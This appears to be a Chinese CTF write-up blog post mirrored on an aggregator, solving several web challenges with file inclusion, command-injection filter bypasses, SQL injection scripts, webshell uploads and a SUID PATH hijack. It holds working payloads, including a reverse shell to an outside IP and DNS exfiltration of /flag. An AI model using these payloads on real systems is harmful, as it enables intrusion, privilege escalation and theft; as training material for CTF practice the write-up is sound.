10

BMZCTF做题记录

 2 years ago
source link: https://misakikata.github.io/2021/10/BMZCTF%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

端午就该吃粽子

访问login.php,会给一个这样的链接http://www.bmzclub.cn:22937/login.php?zhongzi=show.php

看样子是文件读取的漏洞,尝试读取一个passwd文件。

image-20210922170259145

可以直接读取,再去试试根目录下的flag文件,提示你是偷粽子的。从匹配上看是只要存在flag这个词就不行。

image-20210922170335891

尝试利用远程包含,屏蔽了http关键词。file没有屏蔽,但是不能读取flag。那就尝试一下伪协议。

php://input不给用,都会报错。

image-20210922171943816

尝试读取的命令php://filter

  1. php://filter/convert.base64-encode/resource=./show.php

image-20210922172127683

解编码后发现是页面的HTML源码。里面注释了index.php。读取发现是如下php代码

  1. php://filter/convert.base64-encode/resource=./index.php

image-20210922172304376

  1. <?php
  2. error_reporting(0);
  3. if (isset($_GET['url'])) {
  4. $ip=$_GET['url'];
  5. if(preg_match("/(;|'| |>|]|&| |python|sh|nc|tac|rev|more|tailf|index|php|head|nl|sort|less|cat|ruby|perl|bash|rm|cp|mv|\*)/i", $ip)){
  6. die("<script language='javascript' type='text/javascript'>
  7. alert('no no no!')
  8. window.location.href='index.php';</script>");
  9. }else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
  10. die("<script language='javascript' type='text/javascript'>
  11. alert('no flag!')
  12. window.location.href='index.php';</script>");
  13. }
  14. $a = shell_exec("ping -c 4 ".$ip);
  15. echo $a;
  16. }
  17. ?>

其中可以看到的是,基本过滤了文件读取的命令和常见反弹shell的方式,然后还不准同时出现flag这四个字符。

上面过滤的命令中,恰好有一个tail没有过滤,也就是使用这个来读取flag。

尝试先执行个命令看看

image-20210922173502404

然后tail去读文件,但是空格被禁用了,fuzz一下发现可以使用%09,但是还有flag不能用。这个可以使用通配符来绕过读取,最后就是

  1. index.php?url=127.0.0.1||tail%09/fla?

image-20210922173801969

hitcon_2017_ssrfme

访问给出的地址,首页是一段PHP代码

  1. <?php
  2. $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
  3. @mkdir($sandbox);
  4. @chdir($sandbox);
  5. $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
  6. $info = pathinfo($_GET["filename"]);
  7. $dir = str_replace(".", "", basename($info["dirname"]));
  8. @mkdir($dir);
  9. @chdir($dir);
  10. @file_put_contents(basename($info["basename"]), $data);
  11. highlight_file(__FILE__);

看代码是使用IP地址来生成一个目录,这个目录我们可以根据自己的出口IP来确认,然后使用shell_exec来执行命令。使用传入的文件名参数进行创建目录,如果存在目录则去掉点,应该是防止目标遍历,最后生成文件名的文件,写入shell_exec执行的结果。

一开始还以为是需要执行命令来看,先来看看大概的执行结果,发现写入的是首页。才想起来这是个SSRF的题。

  1. /?url=http://127.0.0.1&filename=123.123

尝试利用file协议来读取flag

  1. /?url=file:///flag&filename=123.123

利用orange和IP生成md5,到指定目录下查看文件

  1. /sandbox/8c2xxx9c5/123.123

image-20210924101620908

n1ctf/hard_php

image-20210924141002836

一个登陆页面,按照惯例查看是否使用是文件包含读取,修改login为index,发现有登陆验证跳转,修改为

  1. /index.php?action=../../../etc/passwd

image-20210924141101145

尝试去读取flag

image-20210924141120638

WEB_penetration

这个题目稍微有点奇怪,一直在报错,不确定是不是程序问题。代码为:

  1. <?php
  2. highlight_file(__FILE__);
  3. if(isset($_GET['ip'])){
  4. $ip = $_GET['ip'];
  5. $_=array('b','d','e','-','q','f','g','i','p','j','+','k','m','n','\<','\>','o','w','x','\~','\:','\^','\@','\&','\'','\%','\"','\*','\(','\)','\!','\=','\.','\[','\]','\}','\{','\_');
  6. $blacklist = array_merge($_);
  7. foreach ($blacklist as $blacklisted) {
  8. if (strlen($ip) <= 18){
  9. if (preg_match ('/' . $blacklisted . '/im', $ip)) {
  10. die('nonono');
  11. }else{
  12. exec($ip);
  13. }
  14. }
  15. else{
  16. die("long");
  17. }
  18. }
  19. }
  20. ?>

这个代码看起来是屏蔽了很多关键词,实际上是一个词匹配去查一次,也就是总共进行很多次匹配,有一次符合最后则返回nonono。那么也就是只需要第一次绕过这个过滤就算后面匹配到,命令依然执行了,所以限制只有长度不超过十八即可。但是结果并不会显示,所以我们需要进行一定的外带的办法。

  1. /?ip=ls+/>1.txt

image-20210924152835470

flag并不在根目录,查看其他目录。没有发现其他可读目录下存在,那可能在root目录,需要一定的提权方式,这种读写的办法就不太适用了。

image-20210924154101831

想办法反弹一个shell出来,由于长度限制,此处不直接使用IP,转为十进制IP。利用如下

  1. /?ip=curl+1093xxx907|sh
  2. web服务使用flask搭建,写一个简单的返回。
  3. @app.route('/')
  4. def hello_world():
  5. return 'bash -c "bash -i >& /dev/tcp/65.49.209.99/8888 0>&1"'

image-20210924155033081

查找有没有可用的SUID

  1. find / -perm -u=s -type f 2>/dev/null

image-20210924155231086

其中有一个奇怪的love程序,执行后类似是PS的查看进程的结果。所以可能需要劫持PS命令来提取。

  1. cd /tmp
  2. echo "/bin/bash" > ps
  3. chmod 777 ps
  4. echo $PATH
  5. export PATH=/tmp:$PATH

再去执行love,即可调用当前tmp目录下的ps命令,获取到一个root的shell。

image-20210924160909016

其中demo.c应该就是love的源代码

  1. # cat demo.c
  2. #include<unistd.h>
  3. void main()
  4. setuid(0);
  5. setgid(0);
  6. system("ps");

流量监控平台

WEb界面需要登陆,账号admin/123456登陆。

image-20210926100053004

可以执行命令,看样子是绕过命令执行。由于不回显,所以使用DNS外带的方式。先测试一下可能使用的命令,发现常用的命令不能使用,比如ping,curl等会报错,采用单引号分隔绕过黑名单。还在报错,测试发现是拦截了空格。使用%09绕过。

  1. ord=ls;pi''ng%09byvdxx.dnslog.cn

image-20210926100226721

发现可行,然后使用ceye的监听平台

  1. ord=ls;pi''ng%09`whoami`.xxxxb4.ceye.io

image-20210926100350410

查看flag

  1. ord=ls;pi''ng%09`cat%09/flag`.r9rub4.ceye.io

image-20210926100456158

rctf2015_easysql

打开是一个注册登陆页面,需要先注册个账号登陆,里面就是一些有的没得功能,还有一个修改密码。既然是注入,那就先把注册登陆看看有没有注入点,但是在注册的时候有过滤。

按照惯例,可能是二次注入,注册一个存在问题的用户名,然后在后续调用的时候触发注入,后续调用明显就是修改密码,这里只传输密码,那可能就是从session获取用户名。先去看看怎么构造能报错啥的。

从过滤上看and,or,空格等都被过滤掉了。有几个是注册成功的先去查看一下

image-20210926161421706

登陆admin%22%2f%2a的时候,去修改密码功能,发现报错

image-20210926161510472

从报错上看SQL语句大概是

  1. update user set pwd="xxxx" where username="admin"/*" and pwd='698d51a19d8a121ce581499d7b701668';

构造一个报错语句

  1. username=1"and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#

但是上面这个语句并不能使用,其中有空格和and符,修改为如下:

  1. username=1"%26%26(updatexml(1,concat(0x7e,(select%0buser()),0x7e),1))#

登陆再去修改密码,发现可以正常执行,那就查库查表查字段一条龙服务。

image-20210926162235294

当前库web_sqli

  1. username=1"%26%26(updatexml(1,concat(0x7e,(select%0bdatabase()),0x7e),1))#

查看库内的表,正好第一次就是flag表

  1. username=1"%26%26(updatexml(1,(select%0bconcat(0x7e,(table_name),0x7e)%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema='web_sqli'%0blimit%0b1,1),1))#

image-20210926163153625

查看字段,就存在一个flag字段

  1. 1"%26%26(updatexml(1,(select%0bconcat(0x7e,(column_name),0x7e)%0bfrom%0binformation_schema.columns%0bwhere%0btable_name='flag'%0blimit%0b0,1),1))#

查看字段值,显示RCTF{Good job! But flag not her,啊这。。。

  1. 1"%26%26(updatexml(1,(select%0bconcat(0x7e,flag,0x7e)from%0bflag%0blimit%0b0,1)%0b,1))#

懂了,那个flag表是骗人的。再查询一遍还有article表和users表,用users表来查找。终于在字段中查到一个real_flag_1s_here

  1. 1"%26%26(updatexml(1,(select%0bconcat(0x7e,(column_name),0x7e)%0bfrom%0binformation_schema.columns%0bwhere%0btable_name='users'%0blimit%0b3,1),1))#

再来查看字段值,limit查看都是一个个xxx,直接聚合输出

  1. 1"%26%26(updatexml(1,(select%0bconcat(0x7e,(select%0bgroup_concat(real_flag_1s_here)from%0busers),0x7e))%0b,1))#

image-20210926165906689

啊这。。。好家伙,不够长的。。。那就还是一个个输出,先用Intruder批量注册。然后用下面的脚本查看。

  1. #coding:utf-8
  2. import requests
  3. import re
  4. headers = {
  5. 'Content-Type': 'application/x-www-form-urlencoded',
  6. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36',
  7. 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  8. 'Referer': 'http://www.bmzclub.cn:22937/changepwd.php',
  9. 'Accept-Encoding': 'gzip, deflate',
  10. 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
  11. 'Cookie': 'Hm_lvt_d7a3b863d5a302676afbe86b11339abd=1631932461,1632274696,1632620435; session=5424329c-1b2e-4349-b4e1-0d2f55c408c5; PHPSESSID=1h1clgvbkvn31qbng29c0m8mr6; Hm_lpvt_d7a3b863d5a302676afbe86b11339abd=1632637433; td_cookie=468906102'
  12. for i in range(1, 21):
  13. data = 'username=1"%26%26(updatexml(1,concat(0x7e,(select%0breal_flag_1s_here%0bfrom%0busers%0blimit%0b{id},1),0x7e),1))#&password=111'.format(id=str(i))
  14. r = requests.post('http://www.bmzclub.cn:22937/login.php', headers=headers, data=data)
  15. r = requests.post('http://www.bmzclub.cn:22937/changepwd.php', headers=headers, data="oldpass=111&newpass=111")
  16. print(re.findall('XPATH syntax error: (.*)', r.text))

结果全是xxx,啊这,给孩子整不会了。这难道就是0 Solver的原因?

TCTF2019_Wallbreaker_Easy

image-20210927105315721

蚁剑连接页面,这个是需要绕过disable_functions,phpinfo里紧了一堆函数

image-20210927105350495

既然是7.2的PHP,那就蚁剑php7-backtrace-bypass一把嗖。

image-20210927105430695

insomniteaser_2019_l33t_hoster

此问题并没有正确解出,本来使用大小写后缀外加图片马来绕过限制,但是发现并不会当作php执行。所以此处使用WP复现

首先是代码

  1. $disallowed_ext = array(
  2. "php",
  3. "php3",
  4. "php4",
  5. "php5",
  6. "php7",
  7. "pht",
  8. "phtm",
  9. "phtml",
  10. "phar",
  11. "phps",
  12. if (isset($_POST["upload"])) {
  13. if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {
  14. die("yuuuge fail");
  15. $tmp_name = $_FILES["image"]["tmp_name"];
  16. $name = $_FILES["image"]["name"];
  17. $parts = explode(".", $name);
  18. $ext = array_pop($parts);
  19. if (empty($parts[0])) {
  20. array_shift($parts);
  21. if (count($parts) === 0) {
  22. die("lol filename is empty");
  23. if (in_array($ext, $disallowed_ext, TRUE)) {
  24. die("lol nice try, but im not stupid dude...");
  25. $image = file_get_contents($tmp_name);
  26. if (mb_strpos($image, "<?") !== FALSE) {
  27. die("why would you need php in a pic.....");
  28. if (!exif_imagetype($tmp_name)) {
  29. die("not an image.");
  30. $image_size = getimagesize($tmp_name);
  31. if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {
  32. die("lol noob, your pic is not l33t enough");
  33. $name = implode(".", $parts);
  34. move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);

黑名单限制文件后缀,本来看到in_array中带了true,还以为是大小写绕过。实际是使用htaccess文件来定义文件解析类型。

上传.htaccess文件。此处由于会对文件名做处理,所以需要使用..htaccess文件来绕过执行,使得能正确保存文件。

  1. $parts = explode(".", $name); #Array([0] => [1] => [2] => htaccess)
  2. $ext = array_pop($parts); #htaccess
  3. if (empty($parts[0])) { #true
  4. array_shift($parts); #返回删除的'',还剩$parts[1] => ''
  5. if (count($parts) === 0) { #false count=1
  6. die("lol filename is empty");
  7. .....
  8. $name = implode(".", $parts); #返回空,所以后续拼接的时候就是$userdir . "." . $ext

剩下的就是图片大小的问题,WP采用的图片格式为XBM格式,一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图。

前两个#defines指定位图的高度和宽度(以像素为单位),比如以下xbm文件:

  1. #define test_width 16
  2. #define test_height 7
  3. static char test_bits[] = {
  4. 0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
  5. 0x00, 0x60 };

后续就是绕过<?这种过滤,WP解释由于使用PHP7.2,所以<script>指定语言的方式不能使用,这个没看出来PHP的版本。采用UTF-16大端编码格式,用一张图表示,utf-8一个字符一个字节,现在utf-16是两个字节编码一个字符。

1063309-20190718173949769-1098882942.png

所以利用如下脚本生成

  1. #!/usr/bin/python3
  2. SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"
  3. def generate_php_file(filename, script):
  4. phpfile = open(filename, 'wb')
  5. phpfile.write(script.encode('utf-16be'))
  6. phpfile.write(SIZE_HEADER)
  7. phpfile.close()
  8. def generate_htacess():
  9. htaccess = open('..htaccess', 'wb')
  10. htaccess.write(SIZE_HEADER)
  11. htaccess.write(b'AddType application/x-httpd-php .php16\n')
  12. htaccess.write(b'php_value zend.multibyte 1\n')
  13. htaccess.write(b'php_value zend.detect_unicode 1\n')
  14. htaccess.write(b'php_value display_errors 1\n')
  15. htaccess.close()
  16. generate_htacess()
  17. generate_php_file("webshell.php16", "<?php system($_GET['cmd']);?>")
  18. generate_php_file("scandir.php16", "<?php echo implode('\n', scandir($_GET['dir']));?>")

由于设置了diable,所以不能执行命令,如果需要考虑绕过的形式,可以利用蚁剑来直接执行。或者利用文件读取的shell。直接读取flag。

2018网鼎杯Comment

打开页面是一个留言板,留言会显示需要登陆,已经给了一个账号,zhangwei,但是密码不对,既然给了一个账号那就爆破一下密码,发现常规密码都不对,再次看密码格式三个星号可能代表需要爆破这三位?

设置数字爆破到密码为zhangwei666。

发帖后发现可以查看详情并且再去留言,可能是二次注入?使用一个异常的发帖后,再去给这个帖子提交留言,发现不能显示,可能是有问题。

试了一圈发现不太行,可能是需要组合利用,那还需要源代码查看。扫描一下目录。

发现一堆git泄露,好家伙在这等我呢。

找到一个write_do.php文件。

  1. <?php
  2. include "mysql.php";
  3. session_start();
  4. if($_SESSION['login'] != 'yes'){
  5. header("Location: ./login.php");
  6. die();
  7. if(isset($_GET['do'])){
  8. switch ($_GET['do'])
  9. case 'write':
  10. $category = addslashes($_POST['category']);
  11. $title = addslashes($_POST['title']);
  12. $content = addslashes($_POST['content']);
  13. $sql = "insert into board
  14. set category = '$category',
  15. title = '$title',
  16. content = '$content'";
  17. $result = mysql_query($sql);
  18. header("Location: ./index.php");
  19. break;
  20. case 'comment':
  21. $bo_id = addslashes($_POST['bo_id']);
  22. $sql = "select category from board where id='$bo_id'";
  23. $result = mysql_query($sql);
  24. $num = mysql_num_rows($result);
  25. if($num>0){
  26. $category = mysql_fetch_array($result)['category'];
  27. $content = addslashes($_POST['content']);
  28. $sql = "insert into comment
  29. set category = '$category',
  30. content = '$content',
  31. bo_id = '$bo_id'";
  32. $result = mysql_query($sql);
  33. header("Location: ./comment.php?id=$bo_id");
  34. break;
  35. default:
  36. header("Location: ./index.php");
  37. else{
  38. header("Location: ./index.php");
  39. ?>

字段都是直接拼接,但是使用了addslashes转义字段。查找一下绕过的方式

  1. 1:字符编码问题导致绕过
  2. 1.1、设置数据库字符为gbk导致宽字节注入
  3. 1.2、使用icon,mb_convert_encoding转换字符编码函数导致宽字节注入
  4. 2:编码解码导致的绕过
  5. 2.1、url解码导致绕过addslashes
  6. 2.2、base64解码导致绕过addslashes
  7. 2.3、json编码导致绕过addslashes
  8. 3:一些特殊情况导致的绕过
  9. 3.1、没有使用引号保护字符串,直接无视addslashes
  10. 3.2、使用了stripslashes
  11. 3.3、字符替换导致的绕过addslashes

不过这个地方既没有编解码的函数也没有字符编码的设置,还使用了单引号闭合。理论上按照闭合那一套是不能注入的。但是现在有个问题是

  1. $category = mysql_fetch_array($result)['category'];

如上获取数据的时候,没有使用转义函数,后续直接进行的拼接。addslashes函数转义保存到数据库的时候,反引号是不保存到数据库的,也就是\'保存到数据库就变成了单引号。

也就是需要我们在发帖的时候保存category字段一个注入的代码,在留言评论的时候来触发他。

先来构造一下SQL语句,既然是insert注入,那就用盲注,构造如下语句。

  1. insert into comment
  2. set category = '111' and if((substr((select user()),1,1)='r'),sleep(5),0),#',
  3. content = '$content',
  4. bo_id = '$bo_id'

先来发个帖子,咱来评论留言,发现SQL被执行。

image-20211009172411010

既然user是r开头的,那估计也就是root@localhost了,查库表。本来写个脚本执行,但是发现总是请求过多,响应超时。

搞了半天总是报错,就看看能不能报错回显出来,本地测试一个报错回显的语句,这样写能成功,但是需要出单引号,上面的语句只能闭合不能出去。

  1. insert into users
  2. set id = 55,
  3. username = updatexml(1,concat(0x7e,(version())),0),
  4. password = '11111';

这是个多行的SQL语句,可以使用多行注释来拼接,然后再写一个参数进去,类似如下:

  1. insert into comment
  2. set category = '111',/*',
  3. content = '*/ content=updatexml(1,concat(0x7e,(version())),0),#',
  4. bo_id = '$bo_id'

试了半天也没结果,然后才想起来这报错不会被写进去,直接报错去了。。。

既然能写进去,那就直接执行,不需要报错语句,测试以下语句。

  1. insert into comment
  2. set category = '111',/*',
  3. content = '*/ content=version(),#',
  4. bo_id = '$bo_id'

image-20211015145908789

想了一圈子发现还是最简单的方式能直接使用。查库名为ctf。如下查询表的时候注意要括号包裹不然会报错。

  1. insert into comment
  2. set category = '111',/*',
  3. content = '*/ content=(select group_concat(table_name) from information_schema.tables where table_schema=database()),#',
  4. bo_id = '$bo_id'

image-20211015152847893

查询字段名,主要表名要十六进制形式,查询user表。

  1. content=*/+content=(select+group_concat(COLUMN_NAME)+from+information_schema.COLUMNS+where+table_schema=database()+and+TABLE_NAME=0x75736572),#&bo_id=1

image-20211015163102290

查字段信息,就一个zhangwei。

  1. content=*/+content=(select+group_concat(username)+from+ctf.user),#&bo_id=1

换一个表查,board表。hex值为0x626f617264。字段有:id,category,title,content

  1. content=*/+content=(select+group_concat(COLUMN_NAME)+from+information_schema.COLUMNS+where+table_schema=database()+and+TABLE_NAME=0x626f617264),#&bo_id=1

这几个字段查了一遍还是没有信息,表comment也没有信息,这就有意思了。不在数据库里,SQL还能干啥,毕竟是root权限,试试能不能写文件。

试了一番发现并不能愉快的写文件,或者目录是特定目录。文件不给写试试能不能读。

  1. content=*/+content=(SELECT+LOAD_FILE(0x2f6574632f706173737764)),#&bo_id=2

image-20211015173416010

好家伙 又是一个花式文件读取。直接读取根目录下的flag文件

  1. content=11*/+content=(SELECT+LOAD_FILE(0x2f666c6167)),#&bo_id=3

image-20211018101945665

asis_2019_unicorn_shop

访问首页是一个购买网页,需要购买独角兽。但是我们没有钱,明显买不了。随便输入一个数

image-20211018104332545

发现需要一个Unicode的编码参数,而且用了unicodedata.numeric来处理输入的值。意思是将Unicode转为等效的数值,那么可能就是Unicode编码转换中绕过数值购买判断。

其中最贵的是1337,那么需要找到一个转换后大于等于1337的Unicode码。

选择如下的符号:https://www.compart.com/en/unicode/U+10123

image-20211018114617271

不过这个flag应该是有问题的,并不能验证成功。

buuctf_2018_online_tool

  1. <?php
  2. if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  3. $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
  4. if(!isset($_GET['host'])) {
  5. highlight_file(__FILE__);
  6. } else {
  7. $host = $_GET['host'];
  8. $host = escapeshellarg($host);
  9. $host = escapeshellcmd($host);
  10. $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
  11. echo 'you are in sandbox '.$sandbox;
  12. @mkdir($sandbox);
  13. chdir($sandbox);
  14. echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

打开首页,又是一段代码,其中涉及两个函数escapeshellarg和escapeshellcmd,这是个防止命令执行的函数,区别在于

escapeshellarg:转义其中的单引号,并用单引号来包裹字符串。保证输入为一个字符串。

escapeshellcmd:转义可能导致命令执行的特殊符号,常见的特殊符号包括换行符都被会转义,单双引号在不配对的时候也被转义。保证输入为避免利用shell的特性执行其他命令。

本身正常情况下,都能起到防止命令注入,但是如果在一起使用,就会导致异常转义,因为escapeshellcmd也转义反斜线。

  1. 127.0.0.1' id
  2. escapeshellarg: '127.0.0.1'\'' id'
  3. escapeshellcmd: 127.0.0.1\' id

在一起使用就会变成

  1. escapeshellarg+escapeshellcmd: '127.0.0.1'\\'' id\'

简化上面的输入就是,第一个单引号已经被转义,后面的单引号也是,所以此处只当作字符来处理。

  1. 127.0.0.1\ id'

但以上的命令并不能被执行,问题在于利用shell特性的分割连接符等都被转义了。以上解决的只是把一个字符串的输入分割成了携带参数形式的输入。

后面需要利用nmap,既然是能分割成携带参数选项的输入,那需要配合nmap的参数来执行。记得在nmap的一个低版本存在一个提权问题,不过由于是交互界面。也不能使用shell的命令符号,需要查找一个nmap能执行使用的参数。

首页代码中使用IP创建一个sandbox的目录,按照惯性,应该是为了写文件而准备的,所以应该是利用nmap的输出属性来执行。nmap输出参数有-oN/-oX/-oS/-oG/-oA

首先需要调试一个能正常逃逸出单引号的payload,可以在https://tool.lu/coderunner测试,首先需要逃逸出双引号的两端包裹,先在两端添加两个单引号,输出为:

  1. ''\\''\<\?php @eval\(\$_POST\[123\]\)\;\?\> -o index.php'\\'''
  2. 简化为:\<?php @eval($_POST[123]);?> -o index.php\\

再需要分割开两端的反斜线,两端添加两个空格。

  1. ' <?php @eval($_POST[123]);?> -o index.php '
  2. 输出为:''\\'' \<\?php @eval\(\$_POST\[123\]\)\;\?\> -o index.php '\\'''

于是大概能用的payload就出来了,先测试一下哪个参数可以使用,一个个试一下,发现oG可以使用。

image-20211018151828426

最后剑来,在根目录下发现一个flag

image-20211018151945869

哎嘿,这个flag又报错,看来0Solves的多少有点问题。

Bestphp

首页又是一段PHP

  1. <?php
  2. highlight_file(__FILE__);
  3. error_reporting(0);
  4. ini_set('open_basedir', '/var/www/html:/tmp');
  5. $file = 'function.php';
  6. $func = isset($_GET['function'])?$_GET['function']:'filters';
  7. call_user_func($func,$_GET);
  8. include($file);
  9. session_start();
  10. $_SESSION['name'] = $_POST['name'];
  11. if($_SESSION['name']=='admin'){
  12. header('location:admin.php');
  13. ?>

由于存在call_user_func,所以我们可以覆盖file参数,来达到包含我们想要的文件,如果直接读取flag的话,下面的内容就有点多余,所以这里大概需要读取function和admin文件来查看。不能直接包含,不然PHP代码看不到。

  1. /?function=extract&file=php://filter/convert.base64-encode/resource=./function.php

function内容为如下,看起来是个黑名单过滤。

  1. <?php
  2. function filters($data){
  3. foreach($data as $key=>$value){
  4. if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
  5. die('Do not hack me!');
  6. ?>

admin文件为

  1. <?php
  2. if(empty($_SESSION['name'])){
  3. session_start();
  4. #echo 'hello ' + $_SESSION['name'];
  5. }else{
  6. die('you must login with admin');

看起来没有直接利用的函数,但是这个创建了session,也就是有session文件的写入,我们需要去读取session文件来包含。

session的name在首页的POST中传输,再去访问admin文件,这里只判断参数是不是空。

  1. /?function=extract&file=php://filter/convert.base64-encode/resource=/tmp/sess_k8ud00tfqs2mevh289uukn5to5

加载发现,并没有回显,也许不在这个目录,在/var/lib下。

但是这里有一个问题,由于open_basedir的存在,我们不能加载别的目录下的文件,只能加载当前目录和tmp目录。

session_start函数有一个参数为save_path,可以设置保存路径,注意此处随便写入一个session的文件名,不然在POST获取的时候,就已经创建null。

  1. POST /?function=session_start&save_path=/tmp HTTP/1.1
  2. Host: www.bmzclub.cn:22937
  3. DNT: 1
  4. Upgrade-Insecure-Requests: 1
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
  6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  9. Cookie: PHPSESSID=123
  10. Connection: close
  11. Content-Type: application/x-www-form-urlencoded
  12. Content-Length: 23
  13. name=<?php phpinfo();?>

获取session

  1. /?function=extract&file=/tmp/sess_123

image-20211018172443260

写入一个shell

  1. name=<?php system($_GET["aaa"]);?>

image-20211018172740231


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK